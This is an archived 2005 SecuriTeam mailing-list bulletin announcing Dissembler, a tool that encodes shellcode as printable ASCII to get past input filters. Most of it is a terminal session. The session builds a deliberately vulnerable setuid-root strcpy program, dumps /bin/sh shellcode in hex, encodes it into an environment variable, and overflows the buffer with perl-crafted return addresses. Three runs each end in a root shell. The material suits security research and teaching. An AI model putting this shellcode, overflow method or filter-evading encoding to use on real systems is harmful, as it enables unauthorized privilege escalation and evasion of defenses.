

# [TOOL] Dissembler – Polymorphs Bytecode to a Printable ASCII String

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-05/0152.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 05/29/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 29 May 2005 18:40:14 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Dissembler – Polymorphs Bytecode to a Printable ASCII String

---

## SUMMARY

## DETAILS

Like a wolf in sheeps clothing, evil byte code that has been dissembled looks like an innocent string.

dissemble – dis'sem'ble

1. To disguise or conceal behind a false appearance
2. To make a false show of; feign

Eaxmple Run:

```
matrix@overdose v0.9 $ gcc -o dissembler dissembler.c
```

```
matrix@overdose v0.9 $ ./dissembler
```

```
dissembler 0.9 – polymorphs bytecode to a printable ASCII string
```

Usage: ./dissembler [switches] bytecode

Optional dissembler switches:

- t <target address> near where the bytecode is going
- N optimize with ninja magic

## Securiteam: [TOOL] Dissembler – Polymorphs Bytecode to a Printable ASCII String

- s <original size> size changes target, adjust with orig size
- b <NOP bridge size> number of words in the NOP bridge
- c <charset> which chars are considered printable
- w <output file> write dissembled code to output file
- e escape the backlash in output

```
matrix@overdose v0.9 $ cat vuln2.c
int main(int argc, char *argv[])
{
char buffer[5];
strcpy(buffer, argv[1]);
return 0;
}
matrix@overdose v0.9 $ gcc -o vuln2 vuln2.c
matrix@overdose v0.9 $ sudo chown root.root vuln2
matrix@overdose v0.9 $ sudo chmod +s vuln2
matrix@overdose v0.9 $ ls -l vuln2
-rwsr-sr-x 1 root root 5050 Mar 18 16:28 vuln2
matrix@overdose v0.9 $ od -h -c shellcode
0000000 c031 46b0 db31 c931 80cd 16eb 315b 88c0
1 300 260 F 1 333 1 311 315 200 353 026 [ 1 300 210
0000020 0743 5b89 8908 0c43 0bb0 4b8d 8d08 0c53
C \a 211 [ \b 211 C \f 260 \v 215 K \b 215 S \f
0000040 80cd e5e8 ffff 2fff 6962 2f6e 6873
315 200 350 345 377 377 377 / b i n / s h
0000056
matrix@overdose v0.9 $ ./dissembler -e -b 300 shellcode
dissembler 0.9 - polymorphs bytecode to a printable ASCII string
```

- [e] Escape the backlash: ON
- [b] Bridge size: 300 words
- [\*] Disassembling bytecode from 'shellcode'...

[+] dissembled bytecode is 505 bytes long.

```
--
%K-4N%4BJ0-QQQQ-naay-aMMuP\\-EnE2--bG%P-%----%zzz-%XiWP-MWyy-sxsv
-WzuyP-3JJ4--Wp%-58x%P-SISz-swqyP-hhh6-uuu%-maz%P-VVVM-dZQ5P-RyRQ
-wYr0P-m%ym-hLohP-ZZ-Z-3y2%--z-1P-KKFF-67V_P-z2zz-8888-nKMhP-__I_-
hh%h-982hPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
matrix@overdose v0.9 $ export
SHELL=%K-4N%4BJ0-QQQQ-naay-aMMuP\\-EnE2--bG%P-%----%zzz-
%XiWP-MWyy-sxsv-WzuyP-3JJ4--Wp%-58x%P-SISz-swqyP-hhh6-uuu%-
maz%P-VVVM-dZQ5P-RyRQ-wYr0P-m%ym-hLohP-ZZ-Z-3y2%--z-1P-
KKFF-67V_P-z2zz-8888-nKMhP-__I_-hh%h-982hPPPPPPPPPPPPPPPPPPPPPP
PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
```

## Securiteam: [TOOL] Dissembler – Polymorphs Bytecode to a Printable ASCII String

```
matrix@overdose v0.9 $ echo 'main(){printf("%p\n",
getenv("SHELL"));}'>q.c;gcc -o q.ert q.c;./q.ert;rm q.*
0xbffff974
matrix@overdose v0.9 $ ./vuln2 `perl -e 'print "\x74\xfa\xff\xbf"x8;`
sh-2.05b# id
uid=0(root) gid=100(users) groups=100(users),10(wheel),18(audio)
sh-2.05b# exit
exit
matrix@overdose v0.9 $ export SHELL=`./dissembler -N -t 0xbffff974 -s 505
shellcode`
dissembler 0.9 - polymorphs bytecode to a printable ASCII string
[N] Ninja Magic Optimization: ON
[t] Target address: 0xbffff974
[s] Size changes target: ON (adjust size: 505 bytes)
[+] Ending address: 0xbffffa8c
[*] Disassembling bytecode from 'shellcode'...
[&] Optimizing with ninja magic...
[&] Adjusting target address to 0xbffffaa6..
[&] Optimizing with ninja magic...
[&] Adjusting target address to 0xbffffaab..
[+] disassembled bytecode is 194 bytes long.
--
matrix@overdose v0.9 $ env | grep SHELL
SHELL=%GKCR%004%-tDDt-xldd-ySWgP\ -X33z-dK4d-qM%yP-%jjj-%aqa-%453P-oooy
-Vhzz-RrxuP-0LL4-0Kq%-5Bu%P-WWWz-oimyP-kkk6-kkr%-thz%P-S9S5-gwTMP-tztO
-UXP2P-d0nd-qAzqP-YY5Y-4z%--z22P-T2TT--PHQP-jUjj-T3TZ-b-AVP
matrix@overdose v0.9 $ ./vuln2 `perl -e 'print "\xab\xfa\xff\xbf"x8;`
sh-2.05b# id
uid=0(root) gid=100(users) groups=100(users),10(wheel),18(audio)
sh-2.05b# exit
exit
matrix@overdose v0.9 $ export SHELL=`./dissembler -N -t 0xbffff974 -s 505
-c BP07frz-% shellcode`
dissembler 0.9 - polymorphs bytecode to a printable ASCII string
- Jon Erickson <matrix@phiral.com> Phiral Research Labs -
438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0
[N] Ninja Magic Optimization: ON
[t] Target address: 0xbffff974
[s] Size changes target: ON (adjust size: 505 bytes)
[c] Using charset: BP07frz-% (9)
[+] Ending address: 0xbffffa8c
[*] Disassembling bytecode from 'shellcode'...
[&] Optimizing with ninja magic...
[&] Adjusting target address to 0xbffffa60..
[+] disassembled bytecode is 269 bytes long.
--
matrix@overdose v0.9 $ env | grep SHELL
SHELL=%PBPB%-0-0-7%%%-r-0r-B70B-zzzfP\ -f-ff-%7BP-r%rP-0BrPP-rrPr-f7-7-%0f0-r%-%P -rrrr-0zzB-P0PB-
matrix@overdose v0.9 $ ./vuln2 `perl -e 'print "\x60\xfa\xff\xbf"x8;`
sh-2.05b# id
uid=0(root) gid=100(users) groups=100(users),10(wheel),18(audio)
sh-2.05b# exit
exit
matrix@overdose v0.9 $
Download Information:
Te tool's source can be found at:
<http://www.phiral.com/research/dissembler\_0.9.tgz>
http://www.phiral.com/research/dissembler\_0.9.tgz
ADDITIONAL INFORMATION
To keep updated with the tool visit the project's homepage at:
<http://www.phiral.com/research/dissembler.html>
http://www.phiral.com/research/dissembler.html
```

## Securiteam: [TOOL] Dissembler – Polymorphs Bytecode to a Printable ASCII String

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securitea

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental,